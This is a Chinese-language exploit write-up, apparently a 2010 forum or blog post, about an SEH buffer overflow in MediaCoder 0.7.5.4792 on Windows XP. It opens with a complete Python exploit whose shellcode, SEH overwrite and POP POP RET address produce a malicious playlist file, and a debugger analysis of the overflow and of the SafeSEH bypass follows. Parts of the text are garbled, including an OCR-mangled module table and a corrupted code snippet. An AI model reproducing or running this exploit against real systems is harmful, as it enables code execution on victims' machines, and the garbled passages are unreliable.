
小弟比较菜，分析报告可能有不严谨的部分感觉也不够深入，望大家多多指导。

#Exploit Title: Mediacode 0.7.5.4792 Buffer Overflow Exploit(SEH)

#Software Link: http://www.mediacoderhq.com/mirrors.htm?file=MediaCoder-0.7.5.4792.exe 
#Origianl exploit by 0v3r

#Modified by bestshow

#Test on Windows Xp xp3 CN

#Date: 2010/12/01-2010/12/02
#!/usr/bin/python  
#calc

shellcode=("\x33\xc9\xb8\xd1\xa3\x3d\x27\xda\xdf\xd9\x74\x24\xf4\xb1"

"\x32\x5a\x83\xc2\x04\x31\x42\x0c\x03\x93\xaf\xdf\xd2\xef"

"\x58\x96\x1d\x0f\x99\xc9\x94\xea\xa8\xdb\xc3\x7f\x98\xeb"

"\x80\x2d\x11\x87\xc5\xc5\xa2\xe5\xc1\xea\x03\x43\x34\xc5"

"\x94\x65\xf8\x89\x57\xe7\x84\xd3\x8b\xc7\xb5\x1c\xde\x06"

"\xf1\x40\x11\x5a\xaa\x0f\x80\x4b\xdf\x4d\x19\x6d\x0f\xda"

"\x21\x15\x2a\x1c\xd5\xaf\x35\x4c\x46\xbb\x7e\x74\xec\xe3"

"\x5e\x85\x21\xf0\xa3\xcc\x4e\xc3\x50\xcf\x86\x1d\x98\xfe"

"\xe6\xf2\xa7\xcf\xea\x0b\xef\xf7\x14\x7e\x1b\x04\xa8\x79"

"\xd8\x77\x76\x0f\xfd\xdf\xfd\xb7\x25\xde\xd2\x2e\xad\xec"

"\x9f\x25\xe9\xf0\x1e\xe9\x81\x0c\xaa\x0c\x46\x85\xe8\x2a"

"\x42\xce\xab\x53\xd3\xaa\x1a\x6b\x03\x12\xc2\xc9\x4f\xb0"

"\x17\x6b\x12\xde\xe6\xf9\x28\xa7\xe9\x01\x33\x87\x81\x30"

"\xb8\x48\xd5\xcc\x6b\x2d\x27\x3c\xa6\xbb\xb0\xe7\x53\x86"

"\xdc\x17\x8e\xc4\xd8\x9b\x3b\xb4\x1e\x83\x49\xb1\x5b\x03"

"\xa1\xcb\xf4\xe6\xc5\x78\xf4\x22\xa6\x1f\x66\xae\x29")
junk = "\x41" * 764
nseh = "\xeb\x06\x90\x90"  # short jump to shellcode    
seh  = "\xee\x04\x01\x66"  # "POP POP RET" address in libiconv-2.dll  "SafeSEH OFF"
nops = 16 * "\x90" 
buff = junk + nseh + seh + nops + shellcode 
print "\n"   
print "---------------------------------------------------------------------------------" 
print "|             Mediacoder 0.7.5.4792 SEH Buffer Overflow Exploit                 |"
print "---------------------------------------------------------------------------------" 
print "\n" 
try:  
    f = open("evil.lst",'w')  
    f.write(buff)  
    f.close()  
    print " Vulnerable file created!...\n"  

except:  

    print "[-] Error occured!"
测试效果：

添加生成的文件“evil.lst”
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鼠标选中该文件则触发计算器：
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以下是分析过程：
     主要是为了分析触发过程，所以换了个简单的弹出计算器的shellcode。

     载入触发文件后，遇到异常，观察此时栈中的情况：
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此时的eip = 41414141，esp = 0012f2bc

找到栈中“AAAA”开始的地址：
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栈中”AAAA”结束的地址：其后是“\xeb\x06\x90\x90”(短跳，向后跳6个字节即跳到后面的shellcode)，“\xee\x04\x01\x66”（“pop pop ret”在一个SafeSEH /OFF的模块中的地址），再后面是一段“\x90”和shellcode
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分析(可能有不严谨的地方，望各位多多指教)：
esp = 0012f2bc，eip = 41414141，则上一条指令应该是“ret“将0012f2b8中的内容”41414141”送入eip中，重新试探poc，0012f2b8 - 0012f1bc= 252，将junk的长度改为252
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"\ xeb\%061x90\x30"  # short Jump

"\xee\ %04} xD1\x66" # POP POP RET libiconv-2.dll "SafeSEH OFF"

Junk + nseh + seh + nops + shellcode




测试结果：
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没有将“A”拷贝入这段栈区… 增加junk的长度，经过反复尝试junk的长度为256是能看见有价值的东西…
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测试结果：
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可以看到从0012f240到0012f2b8这段内容没有被复制为“A“，原因可能是在拷贝”A“后又有了别的拷贝操作，先不管这些，先看看0012f2b4中的内容”返回到mediacod.0042bbc0来自mediacod.0041d060“，我们在0041d060处下断点
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来到0042bbc0中往下来到0042bbe3 ”call mediacod.0041d060”在此句下断点
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加载junk长度为764的文件
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程序断在0042bbe3,F7跟进0041d060
F8来到：
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此时寄存器的值：
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EDX+EAX = FF277178 + 00EB8040 = 0012F1B8(溢出)
很明显“ds:[0012f1b8]“就是我们之前看到的”AA…AA“开始的地址的附近的地址(其实是首地址，可能在后面程序有别的操作覆盖掉了0012f1b8开始的5个字节)。
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关键的操作：
0041d0e0
mov cl,byte ptr ds:[eax]

0041d0e2
mov byte ptr ds:[edx+eax],cl

0041d0e5
inc eax

0041d0e6
test cl,cl


；检查cl是否为0
0041d0e8
jnz short mediacod.0041d0e0

上述循环操作第一轮结束(因为有检查0操作)：将010d1a68开始到0010d1e5a的一片内存中的数据拷贝到了0012f1b8开始的位置（拷贝的内容就是我们poc中构造的数据）
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接着一直单步来到0041d146
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0041d144~0041d14c的操作是将[EAX=00CA7E78]的5个字节拷贝到0012f1b8开始的5个字节中，这也从前面的截图中也得到了验证。
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一路F8来到0041daca
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与之想的一样，此时esp = 0012f2b8,[ 0012f2b8] = 41414141，“retn”操作会向eip赋值为41414141则会引发异常。。。。
来看SHE链条：

[image: image22.png]# OL1yDbe.
Mo =Ew

liacoder. exe.

[SEH BT EH#E]

B fite #IO FOw #BHw

R

T3]

=] w[E]M]w]

i [sen@Es

001 2F4B4 11 conv. SEOTOAEE





栈中的内容
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显然最近的一个SHE已经被覆盖SE处理程序被覆盖为“\xee\x04\x01\x66”其为”pop pop ret”在libiconv模块中的地址，而此模块又是SafeSEH /OFF的
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{/SaceSEr o0 | 0x77150000 (077283000 |80 Cupsp, 0BD413-2105) C: WINDONS 11545 \x88 Wi croso€t. Hindows. Connon-Conts

| /SaceSEH ON | 0xTTBRO00 |DTTheS000 |5 1.2800 5512  (xpsp. 030413-0845| C: \WINDOHS sy ten32\NSACH32. 11

| /SaceSEH ON | 0xTTBAD000 |DTTbAB000 |51 2800 S512 (xpsp. 080413-2105] C: \WINDOHS\sys ten32 \VERSTON. 11

| /SaceSER 0N | 0xTTBa0000 (07738000 |7.0 2600 5512 Gepsp. 080413-2111 |C: \WINDOHS \systen32\msver t. 11

| /SaceSER OF | 0x77c40000 |0T7<64000 |5 12800 5512 Gupsp. 080413-2113|C: \WINDOHS sy ten32\msv1 0. a1

| /SaceSER 0N | 0x77410000 | 077240000 |5 112600 5512 Gxpsp. 080413-2105 C: \WINDONS syt an32 \USERGZ. d11

| /SaceSEH 0N | 0x774a0000 (077243000 |5 112800 5512 (xpsp. 080413-2113C: \WINDONS s ten32\ADVAFL32. d11

| /SaccSER OF | 0xTT50000 | 077262000 |5 112600 5512 Gxpsp. 080413-2108C: \WINDONS syt en32 \RECRT4. a1

| /SaceSER 0N | 0xT72£0000 (07738000 |5 12800 5512 (xpsp. 080413-2105 C: \WINDOHS sy ten32\GDI32. AL
/SA£eSEH O | DTT£40000 | 0TTEH6000 |5.00. 2900, 5512 (cpsp. 080413-210) C: \WINDOWS sy ten32\SHLAPT. 11
/Sa£eSEH OFF |0:64T80000 |0:84T0000 £ Wledisboder \onseele-D. ALl
/Sa£eSEK OFF (068000000 | 086096000 |1.13 B Wledi sCoder'Libi conv—2. 11
/SS£eSEH OFF |0:x63400000 |0:63415000 £ Wledi aboder' avuti1-49. dlL

{ /SaceSEH OFF | 0x13:0000  |Dx13e8000 E:Wedi aCoder\plugins\dsp_zse. 1
iSafeSEH OFF |0x19b0000 |0x19b£000 |1 1. 0 0 B \Medi aboder \plugine dep chme. d11




这种地址绕开了SafeSEH机制….
之前的将eip赋为41414141时引发异常跳到“0012f4b8”执行异常处理程序”pop pop ret”又再次引发异常，根据SHE的链式结构，异常交给下一个SHE，“\xeb\x06\x90\x90”（jmp short 06）跳转到0012f4bc开始执行，一段90过后就是弹出calc的shellcode。
引发异常：
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660104EE处下断：
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F8来到一段“\x90”+shellcode区域
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Shellcode执行成功
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